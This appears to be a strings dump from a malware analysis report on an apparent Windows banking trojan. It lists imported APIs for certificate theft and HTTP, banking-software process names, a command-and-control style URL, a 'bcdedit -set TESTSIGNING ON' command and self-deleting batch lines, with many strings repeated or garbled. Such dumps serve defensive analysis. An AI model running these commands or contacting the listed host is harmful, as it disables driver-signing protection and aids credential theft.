PFXImportCertStore

CertDeleteCertificateFromStore

CertOpenSystemStoreW

CertCloseStore

CertEnumCertificatesInStore

CertDuplicateCertificateContext

PFXExportCertStoreEx

CRYPT32.dll

HttpSendRequestExA

HttpQueryInfoA

InternetCrackUrlA

HttpOpenRequestA

HttpEndRequestA

HttpAddRequestHeadersA

WININET.dll

OLEAUT32.dll

NETAPI32.dll

IPHLPAPI.DLL

VERSION.dll

: :$:(:,:0:4:

= =$=(=,=0=4=

1 2*20262

7%7X7u7!8&8;9Z9

kernel32.dll

Wadvapi32.dll

rapport

SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\%s

launchpadshell.exe

dirclt32.exe

wtng.exe

prologue.exe

pcsws.exe

fdmaster.exe

"%s" %s

/c "%s"

shell32.dll

urlmon.dll

cabinet.dll

\StringFileInfo\xx\%s

%Documents and Settings%\%current user%\Local Settings\Temp

%Documents and Settings%\%current user%\Local Settings\Application Data

Global\{3D6E1BE3-083C-4088-F013-F140DE00D252}

Explorer.EXE_1684_rwx_021E0000_0006D000:

.text

`.data

.idata

@.reloc

PSSSSSSh

bcdedit.exe -set TESTSIGNING ON

%s\drivers\%s.sys

\\.\NtSecureSys

ntdll.dll

svchost.exe

EUDC\%d

KeDelayExecutionThread

WinExec

KERNEL32.dll

ExitWindowsEx

USER32.dll

GDI32.dll

RegCloseKey

RegFlushKey

RegCreateKeyExA

ADVAPI32.dll

ShellExecuteA

SHELL32.dll

msvcrt.dll

Invalid parameter passed to C runtime function.

0123456789

.sMH#

\*%Sa

RegDeleteKeyExW

gdiplus.dll

GdiplusShutdown

#ÛY_

5>(4 6 3

>5#? = 8

*:4.::,|

y.dRR

&*("?#=1

http://maerholst.com/1/?s=%u&v=%u

REPORT

userenv.dll

del "%s"

if exist "%s" goto d

del /F "%s"

HTTP/1.1

http://www.google.com/

http://www.bing.com/

t.Ht$HHt

w%fkN

L$Â$

rnÊ

m9.td

McaG%n%c

zcÁ

MsgWaitForMultipleObjects

GetKeyboardState

RegCreateKeyExW

RegQueryInfoKeyW

RegDeleteKeyW

RegOpenKeyExW

RegEnumKeyExW

CryptGetKeyParam

CryptImportKey

CryptDestroyKey

UrlUnescapeA

PathIsURLW

SHLWAPI.dll

ShellExecuteW

Secur32.dll

ole32.dll

WS2_32.dll

PFXImportCertStore

CertDeleteCertificateFromStore

CertOpenSystemStoreW

CertCloseStore

CertEnumCertificatesInStore

CertDuplicateCertificateContext

PFXExportCertStoreEx

CRYPT32.dll

HttpSendRequestExA

HttpQueryInfoA

InternetCrackUrlA

HttpOpenRequestA

HttpEndRequestA

HttpAddRequestHeadersA

WININET.dll

OLEAUT32.dll

NETAPI32.dll

IPHLPAPI.DLL

VERSION.dll

: :$:(:,:0:4:

= =$=(=,=0=4=

1 2*20262

7%7X7u7!8&8;9Z9

kernel32.dll

Wadvapi32.dll

rapport

SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\%s

launchpadshell.exe

dirclt32.exe

wtng.exe

prologue.exe

pcsws.exe

fdmaster.exe

"%s" %s

/c "%s"

shell32.dll

urlmon.dll

cabinet.dll

\StringFileInfo\xx\%s

%Documents and Settings%\%current user%\Local Settings\Temp

%Documents and Settings%\%current user%\Local Settings\Application Data

Global\{3D6E1BE3-083C-4088-F013-F140DE00D252}

Summary

Dynamic Analysis

Removals

Static Analysis

Network Activity

Map

Strings from Dumps